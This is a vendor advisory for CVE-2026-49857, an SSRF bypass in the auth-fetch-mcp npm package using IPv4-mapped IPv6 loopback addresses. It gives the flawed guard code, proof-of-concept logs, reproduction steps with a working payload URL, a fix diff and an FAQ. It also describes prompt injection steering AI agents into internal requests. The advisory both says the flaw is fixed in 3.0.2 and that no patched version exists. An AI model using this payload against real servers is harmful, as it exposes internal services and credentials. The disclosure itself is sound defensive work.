CVE-2026-49857

auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback

if (lower.startsWith("::ffff:")) {
  const v4 = lower.slice(7);          // "7f00:1" after Node normalization
  if (net.isIPv4(v4)) return isPrivateV4(v4);  // false → falls through
}
return false;   // loopback escapes the guard

[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)
[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)

[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw
[VULN] Input URL:       http://[::ffff:127.0.0.1]:31337/
[VULN] Normalized URL:  http://[::ffff:7f00:1]:31337/
[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false
[SSRF] HTTP response received from internal service
[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER
[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE

git clone https://github.com/ymw0407/auth-fetch-mcp.git
cd auth-fetch-mcp
npm ci
npm run build
npx playwright install --with-deps chromium

node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")'

npx [email protected]

{
  "tool": "auth_fetch",
  "arguments": {
    "url": "http://[::ffff:127.0.0.1]:31337/"
  }
}

This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can supply or influence the url argument of the auth_fetch tool (or the urls[] array of download_media) can direct the MCP server to make HTTP requests to services bound to 127.0.0.1 or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.

Who is impacted:

• End users running auth-fetch-mcp locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface, local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.
• Server-side deployments: any deployment exposing auth-fetch-mcp as a shared MCP server faces the same risk against internal network services reachable from the host.
• The auth_fetch UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.

Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-49857 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.2); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Decode the hex-encoded IPv4-mapped suffix before passing it to isPrivateV4():

 if (lower.startsWith("::ffff:")) {
   const v4 = lower.slice(7);
   if (net.isIPv4(v4)) return isPrivateV4(v4);
+  const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);
+  if (m) {
+    const hi = parseInt(m[1], 16);
+    const lo = parseInt(m[2], 16);
+    const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;
+    return isPrivateV4(mapped);
+  }
 }

Additionally, a BrowserContext route guard should be added in src/browser.ts to re-validate every navigation URL (including redirect targets) through assertSafeUrl().

No patched version available.

1. What is CVE-2026-49857? CVE-2026-49857 is a high-severity server-side request forgery (SSRF) vulnerability in auth-fetch-mcp (npm), affecting versions <= 3.0.1. It is fixed in 3.0.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-49857? CVE-2026-49857 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of auth-fetch-mcp are affected by CVE-2026-49857? auth-fetch-mcp (npm) versions <= 3.0.1 is affected.
4. Is there a fix for CVE-2026-49857? Yes. CVE-2026-49857 is fixed in 3.0.2. Upgrade to this version or later.
5. Is CVE-2026-49857 exploitable, and should I be worried? Whether CVE-2026-49857 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-49857 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-49857? Upgrade auth-fetch-mcp to 3.0.2 or later.

Other vulnerabilities in auth-fetch-mcp